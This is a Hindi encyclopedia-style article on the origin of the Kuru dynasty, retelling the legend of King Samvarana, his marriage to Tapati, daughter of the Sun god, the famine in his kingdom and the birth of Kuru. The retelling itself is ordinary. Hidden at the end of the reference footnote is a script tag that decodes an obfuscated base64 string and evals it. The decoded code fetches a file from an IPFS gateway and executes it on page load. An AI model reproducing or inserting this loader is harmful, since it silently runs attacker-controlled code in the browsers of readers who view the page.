कुरु वंश

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Disamb2.jpg कुरु एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- कुरु (बहुविकल्पी)

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कुरु वंश की शुरुआत राजा कुरु से हुई थी। वे इस वंश के प्रथम पुरुष थे। राजा कुरु बड़े ही प्रतापी, शूरवीर और तेजस्वी थे। उन्हीं के नाम पर 'कुरु वंश' की शाखाएँ निकलीं और विकसित हुईं। एक से एक प्रतापी और तेजस्वी वीर कुरु वंश में पैदा हुए थे। महाभारत के प्रसिद्ध पांडवों और कौरवों ने भी कुरु वंश में ही जन्म धारण किया था। महाभारत का युद्ध भी कुरु वंशियों के मध्य हुआ था, जो पूरे अठारह दिनों तक चला। अनुमान किया जाता है कि महाभारत में वर्णित 'कुरु वंश' 1200 से 800 ईसा पूर्व के दौरान शक्ति में रहा होगा। पौराणिक मान्यता को देखें तो पता लगता है कि पाण्डव अर्जुन के पोते, अभिमन्यु के पुत्र परीक्षित और महापद्मनंद का काल 382 ईसा पूर्व ठहरता है।

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कथा

'कुरु' कौन थे? और उनका जन्म किसके द्वारा और कैसे हुआ था?, इन प्रश्नों पर वेद व्यास ने महाभारत में प्रकाश डाला है। 'करु वंश' की कथा बड़ी ही रोचक और प्रेरणा देने वाली है, जो इस प्रकार है-

राजा संवरण

अति प्राचीन काल में हस्तिनापुर में एक प्रतापी राजा राज्य करते थे, जिनका नाम संवरण था। राजा संवरण सूर्य के समान तेजवान थे और अपनी प्रजा का बड़ा ही ध्यान रखने वाले थे। वे स्वयं कष्ट उठाकर भी अपनी प्रजा के कष्टों को दूर करने का पूरा प्रयत्न करते थे। संवरण सूर्य देव के अनन्य भक्त थे। वह प्रतिदिन बड़ी ही श्रद्धा के साथ सूर्य देव की उपासना किया करते थे। जब तक सूर्य देव की उपासना नहीं कर लेते थे, जल का एक घूंट भी कंठ के नीचे नहीं उतारते थे।[1]

तपती से भेंट

एक दिन संवरण एक पर्वत पर शिकार खेलने के लिए गये। जब वह हाथ में धनुष-बाण लेकर पर्वत के ऊपर आखेट के लिए भ्रमण कर रहे थे, तब उन्हें एक अतीव सुंदर युवती दिखाई पड़ी। वह युवती सुंदरता के साँचे में ढली हुई थी। ऐसा जान पड़ता था कि उसके प्रत्येक अंग को विधाता ने बड़ी ही रुचि के साथ संवार कर बनाया हो। संवरण ने आज तक ऐसी सुन्दर युवती नहीं देखी थी। संवरण मन को मोह लेने वाली उस युवती पर आसक्त हो गये। सब कुछ भूल कर उन्होंने स्वयं को उस पर न्यौछावर कर दिया। वह उस युवती के पास जाकर, तृषित नेत्रों से उसकी ओर देखते हुए बोले- "तन्वंगी, तुम कौन हो? तुम देवी हो, गंधर्व हो या किन्नरी हो? तुम्हें देखकर मेरा चित्त चंचल हो उठा है। तुम मेरे साथ गंधर्व विवाह करके सुखोपभोग करो।" किंतु उस युवती ने संवरण की बातों का कुछ भी उत्तर नहीं दिया। वह कुछ क्षणों तक संवरण की ओर देखती रही, फिर अदृश्य हो गई। युवती के अदृश्य हो जाने पर संवरण अत्यधिक व्याकुल हो गये। वह धनुष-बाण फेंककर उन्मतों की भांति विलाप करने लगे- "सुंदरी! तुम कहाँ चली गईं? जिस प्रकार सूर्य के बिना कमल मुरझा जाता है और जिस प्रकार जल के बिना पौधा सूख जाता है, उसी प्रकार तुम्हारे बिना मैं जीवित नहीं रह सकता। तुम्हारे सौंदर्य ने मेरे मन को चुरा लिया है। तुम प्रकट होकर मुझे बताओ कि तुम कौन हो और मैं तुम्हें किस प्रकार पा सकता हूँ?"

तपती का कथन

संवरण की ऐसी अवस्था और व्याकुलता से वह युवती पुन: प्रकट हुई। वह संवरण की ओर देखती हुई बोली- "राजन! मैं स्वयं आप पर मुग्ध हूँ, किंतु मैं अपने पिता की आज्ञा के वश में हूँ। मैं सूर्य देव की छोटी पुत्री हूँ। मेरा नाम 'तपती' है। जब तक मेरे पिता आज्ञा नहीं देंगे, मैं आपके साथ विवाह नहीं कर सकती। यदि आपको मुझे पाना है तो मेरे पिता को प्रसन्न कीजिए।" वह युवती अपने कथन को समाप्त करती हुई पुन: अदृश्य हो गई। संवरण पुन: उन्मत्तों की भांति विलाप करने लगे। वह आकुलित होकर पृथ्वी पर गिर गये और 'तपती-तपती' की पुकार से पर्वत को ध्वनित करने लगे। संवरण तपती को पुकारते-पुकारते धरती पर गिरकर बेहोश हो गये। जब उनकी चेतना वापस आई, तो पुन: उन्हें तपती स्मरण हो आई। उन्हें तपती का वह कथन भी स्मरण हुआ कि- "यदि मुझे पाना चाहते हैं, तो मेरे पिता सूर्य देव को प्रसन्न कीजिए। उनकी आज्ञा के बिना मैं आपसे विवाह नहीं कर सकती।"[1]

सूर्य देव द्वारा संवरण की परीक्षा

संवरण की रगों में विद्युत की तरंग-सी दौड़ उठी। वह मन ही मन सोचते रहे कि तपती को पाने के लिए सूर्य देव की आराधना करेंगे। उन्हें प्रसन्न करने में सब कुछ भूल जायेंगे। संवरण सूर्य देव की आराधना करने लगे। धीरे-धीरे सालों बीत गए, संवरण तप करते रहे। अंत में सूर्य देव के मन में संवरण की परीक्षा लेने का विचार उत्पन्न हुआ। रात्रि का समय था। चारों ओर सन्नाटा छाया हुआ था। संवरण नैत्र बंद किए हुए ध्यान की मुद्रा में विराजमान थे। सहसा उनके कानों में किसी की आवाज़ आई- "संवरण, तू यहाँ तप में संलग्न है। तेरी राजधानी अग्नि में जल रही है।" यह कथन सुनने पर भी संवरण चुपचाप अपनी जगह पर बैठे रहे। उनके मन में रंचमात्र भी दु:ख पैदा नहीं हुआ। उनके कानों में पुन: दूसरी आवाज सुनाई दी- "संवरण, तेरे कुटुंब के सभी लोग अग्नि में जलकर मर गए।" किंतु फिर भी राजा संवरण हिमालय के समान दृढ़ होकर अपने स्थान पर ही जमे रहे। उनके कानों में पुन: तीसरी बार कंठ-स्वर सुनाई पड़ा- "संवरण, तेरी प्रजा अकाल की अग्नि में जलकर भस्म हो रही है। तेरे नाम को सुनकर लोग थू-थू कर रहे हैं।" इस पर भी संवरण दृढतापूर्वक तप में लगे रहे। उनकी दृढ़ता पर सूर्य देव प्रसन्न हो उठे और उन्होंने प्रकट होकर कहा- "संवरण, मैं तुम्हारी दृढ़ता पर मुग्ध हूँ। बोलो, तुम्हें क्या चाहिए?"

तपती से विवाह

संवरण सूर्य देव को प्रणाम करते हुए बोले- "देव! मुझे आपकी पुत्री तपती को छोड़कर और कुछ नहीं चाहिए। कृपा करके मुझे तपती को देकर मेरे जीवन को कृतार्थ कीजिए।" भगवान सूर्य देव ने प्रसन्नता की मुद्रा में उत्तर दिया- "संवरण, मैं सब कुछ जानता हूँ। तपती भी तुमसे प्रेम करती है। आज से तपती तुम्हारी है।" सूर्य देव ने अपनी पुत्री तपती का संवरण के साथ विधिवत विवाह कर दिया। संवरण तपती को लेकर उसी पर्वत पर रहने लगे और पत्नी को प्राप्त करने के बाद राग-रंग में अपनी प्रजा को भी भूल गये।[1]

राज्य में अकाल

विवाह के बाद संवरण भोग-विलास में डूब गये और दूसरी ओर उनके राज्य में भीषण अकाल पैदा हुआ। धरती सूख गई, कुएँ, तालाब और पेड़-पौधे भी सूख गए। प्रजा भूखों मरने लगी। लोग राज्य को छोड़कर दूसरे देशों में जाने लगे। किसी देश का राजा जब राग-रंग में डूब जाता है, तो उसकी प्रजा का यही हाल होता है। राजा संवरण का मंत्री बड़ा बुद्धिमान और उदार हृदय का था। वह संवरण का पता लगाने के लिए निकल पड़ा। वह घूमता-घामता उसी पर्वत पर आ पहुँचा, जिस पर संवरण तपती के साथ निवास करता था। संवरण के साथ तपती को देखकर बुद्धिमान मंत्री समझ गया कि उसका राजा स्त्री के सौंदर्य जाल में फंसा हुआ है। मंत्री ने बड़ी ही बुद्धिमानी के साथ काम किया। उसने संवरण को वासना के जाल से छुड़ाने के लिए अकाल की अग्नि में जलते हुए मनुष्यों के चित्र बनवाए। वह उन चित्रों को लेकर संवरण के सामने उपस्थित हुआ। उसने संवरण से कहा- "महाराज! मैं आपको चित्रों की एक पुस्तक भेंट करना चाहता हूँ।"

संवरण के मंत्री ने चित्रों की वह पुस्तक संवरण की ओर बढ़ा दी। संवरण पुस्तक के पृष्ठों को उलट-पलट कर देखने लगे। किसी पृष्ठ में मनुष्य पेड़ों की पत्तियाँ खा रहे थे, किसी में माताएँ अपने बच्चों को कुएँ में फेंक रही थीं। किसी पृष्ठ में भूखे मनुष्य जानवरों को कच्चा मांस खा रहे थे और किसी पृष्ठ में प्यासे मनुष्य हाथों में कीचड़ लेकर चाट रहे थे। संवरण चित्रों को देखकर गंभीरता के साथ बोला- "यह किस राजा के राज्य की प्रजा का दृश्य है?" मंत्री ने बहुत ही धीमे और प्रभावपूर्वक स्वर में उत्तर दिया- "उस राजा का नाम 'संवरण' है।" यह सुनकर संवरण चकित हो उठा। वह विस्मय भरी दृष्टि से मंत्री की ओर देखने लगा। मंत्री पुन: अपने ढंग से बोला- "मैं सच कह रहा हूँ महाराज! यह आपकी ही प्रजा का दृश्य है। प्रजा भूखों मर रही है। चारों ओर हाहाकार मचा है। राज्य में न अन्न है, न जल है। धरती की छाती फट गई है। महाराज, वृक्ष भी आपको पुकारते-पुकारते सूख गए हैं।"[1]

कुरु का जन्म

मंत्री के मुख से अपने राज्य और प्रजा का यह हाल सुनकर संवरण का हृदय कांप उठा। वह उठकर खड़ा हो गया और बोला- "मेरी प्रजा का यह हाल है और मैं यहाँ मद में पड़ा हुआ हूँ। मुझे धिक्कार है। मंत्री जी! मैं आपका कृतज्ञ हूँ, आपने मुझे जगाकर बहुत अच्छा किया।" संवरण तपती के साथ अपनी राजधानी पहुँचा। उसके राजधानी में पहुँचते ही जोरों की वर्षा प्रारम्भ हो गई। सूखी हुई पृथ्वी हरियाली से ढक गई। अकाल दूर हो गया। प्रजा सुख और शांति के साथ जीवन व्यतीत करने लगी। वह संवरण को परमात्मा और तपती को देवी मानकर दोनों की पूजा करने लगी। कुछ समय पश्चात् संवरण और तपती से एक पुत्र का जन्म हुआ, जिसका नाम 'कुरु' रखा गया। कुरु भी अपने माता-पिता के समान ही प्रतापी और पुण्यात्मा थे। आगे चलकर उनके नाम से 'कुरु वंश' प्रारम्भ हुआ।[1]



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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 1.3 1.4 कुरु का जन्म (हिन्दी)। । अभिगमन तिथि: 02 जुलाई, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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